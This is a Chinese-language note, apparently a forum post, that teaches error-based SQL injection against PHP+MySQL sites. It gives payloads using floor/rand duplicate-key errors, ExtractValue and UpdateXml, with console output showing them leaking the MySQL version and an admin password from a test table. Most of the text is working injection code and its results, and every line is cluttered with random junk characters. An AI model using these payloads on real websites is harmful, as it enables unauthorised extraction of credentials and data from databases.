放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
3 K+ A/ Y. K& T4 j# S2 |+ v% I实际测试环境:. L( w$ `6 {" n2 A% N$ ` m
0 k* j% e3 a3 V5 h6 k8 U/ `
0 }$ v' \5 T& U# M% j: m6 s
mysql> show tables;& E" g0 M& b- n# Y
+----------------+0 }- g/ w/ k# l$ U1 I; F$ r) r
| Tables_in_test |7 v7 w/ B$ v9 j) M
+----------------+
6 D: a& P+ }' B0 H| admin |; @+ Y7 Z. x+ j1 j
| article |$ Q' T( o4 p! h
+----------------+
* n9 t+ n& \: K
% r1 p) W0 v9 q: W8 _6 _& ~ & x7 _2 A& ^. u0 U0 N
2 U' k. s' }) s% Z/ z- Emysql> describe admin;
$ l' R$ V) H/ c c! O+-------+------------------+------+-----+---------+----------------+) D0 Y, }1 R5 U) d
| Field | Type | Null | Key | Default | Extra |4 K( U. U, O9 U( p
+-------+------------------+------+-----+---------+----------------+
! P7 Y, n( [/ r9 X7 k| id | int(10) unsigned | NO | PRI | NULL | auto_increment |- \3 P/ v3 g- J5 A
| user | varchar(50) | NO | | NULL | |
0 q7 J. Y4 g0 J9 b/ ]| pass | varchar(50) | NO | | NULL | |
6 L$ p5 h0 s/ H+-------+------------------+------+-----+---------+----------------+
# V. O$ E9 U- K9 } 4 G. y A n& l% {
& s+ D/ U1 q* x) y/ X5 _) B) ~1 X9 n
# l2 Y# Y8 v4 i7 V, [6 c; L& Amysql> describe article;/ |, ?2 h% M) k1 z
+---------+------------------+------+-----+---------+----------------+
2 g5 t$ v" B! |3 B| Field | Type | Null | Key | Default | Extra |
- `, i9 \( v# \# K. z9 w/ A0 }6 m( `+---------+------------------+------+-----+---------+----------------+
! W1 y. q7 Y! L0 _/ g| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
# [$ {1 i$ h5 I( ?| title | varchar(50) | NO | | NULL | |% E2 ^) {& [; ]
| content | varchar(50) | NO | | NULL | | D+ { y6 Q( @' M1 |
+---------+------------------+------+-----+---------+----------------+
# e" \& g8 y2 ]$ g1、通过floor报错" `! ^# q6 [5 Z5 n- G3 Q+ Z. h N7 S" Q
可以通过如下一些利用代码( Z, \; l, y* d2 r4 _; a, O: P& Q! @
3 e! }+ H& f/ ~! p, {
( |% a+ x: Z3 d4 [/ Y# Rand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x4 V" z* h# z. }9 j& ]2 P
from information_schema.tables group by x)a);
' |3 f# m* y% P; C+ U" a4 U 0 i( S( ~3 d% l. _& P
* W# f1 Q1 a3 v4 p8 c) D
and (select count(*) from (select 1 union select null union select !1)x
1 p& t, Z3 d v e' _7 y7 @3 {group by concat((select table_name from information_schema.tables limit 1),7 P" ~7 Y8 R% J% r
floor(rand(0)*2)));& Z+ U4 [% u. Y2 o" q( Y& T
举例如下:0 ~, G7 H. m% n9 k3 {9 ?: K$ g
首先进行正常查询:0 n+ F' v, u, U# a
# H# P$ g. h( p3 _3 @# [; K
mysql> select * from article where id = 1;* k3 x, G% n* w+ m3 Y7 u# n6 c
+----+-------+---------+
8 ~) B( ^. ?5 t! {! d1 {| id | title | content |
1 d, W8 R! ^& b* \( f" w# s7 P+----+-------+---------+: a& H+ W" U0 X9 \+ M! ~9 [
| 1 | test | do it |
$ u. @' r$ i& [* B2 M8 G+----+-------+---------+
1 y' u* V& v2 `3 X; o. C假如id输入存在注入的话,可以通过如下语句进行报错。
2 X: @; M( @- B+ b# k/ x# u( { 3 E Z1 E/ U; F2 J
; D% ~" Z3 |1 J$ b! t% j
mysql> select * from article where id = 1 and (select 1 from A2 x) C; Z# ^0 [2 p( e$ x
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
& D& T( }, c4 d; Q" x1 ^ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
$ V, L( g# O. X; v可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
7 K( ~( `- j9 a. E例如我们需要查询管理员用户名和密码:
q5 N3 w3 P wMethod1:1 `# U! P& w9 A! z \5 }# `
) T) G: v3 l+ p* U/ t# Z
1 L$ Y% F0 z! r* @+ {- `
mysql> select * from article where id = 1 and (select 1 from
* J# O, q2 S! O. I(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x- r8 x' H: v( H$ @) U; \
from information_schema.tables group by x)a);' I; a/ e2 V M7 J+ F$ @
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
" Z! r: D9 I" l3 E u ?Method2:% ]& \$ C' k3 ?; t0 c' g$ s
* b$ U* `! ~1 o4 K' s D
- p1 g) H( T& Y2 Z( u1 H
mysql> select * from article where id = 1 and (select count(*)
* k+ G* n% J C' b w0 b/ `+ @from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
( V6 t% H/ W' l5 jfloor(rand(0)*2)));
5 J, s1 G( o: Z+ c% A) n* _9 ]& hERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'" v( E* f2 E/ t+ y6 c! t
2、ExtractValue5 W# a) B7 P# N) @; Y
测试语句如下0 ?" Z9 I$ j( _9 U
, F) M& W. H7 B, u' {2 d
3 V- F9 x1 K4 X2 R' E* b
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));4 h# B7 u- D% C# b) @5 ?+ x
实际测试过程
4 g' A0 Q4 V* z: U, I, h 3 V- V8 e& P; Y
8 H: k ? e( s# [mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
4 I* x3 g7 y9 o, K! A) S(select pass from admin limit 1)));--: o- m- b2 S$ z! h3 M+ Z2 h
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
5 f# t$ ]8 y7 c `& Y: X: V: L# y' w3、UpdateXml. v6 z) d/ E! [( p
测试语句- a) C3 `' K# q- [
9 w+ k( n6 ?3 O/ T7 v6 f* a5 C
, e; k: G6 P: b* _" C) fand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
. o+ N1 d f, }- t实际测试过程
: v% x: Q5 P' o, [% m3 V * F L, |$ Z, g& P
4 q+ @2 w/ o2 y% t% q. l7 R
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
3 F5 A* t, x, O5 g& H(select pass from admin limit 1),0x5e24),1));
0 l O7 p1 H) p7 c1 XERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'5 p" L0 s- x. f
All, thanks foreign guys.
4 G2 C8 ?$ K# P, L, y$ s 4 G; [$ T( ]. m
5 D& {6 I H& P8 d. t8 V; p3 D
|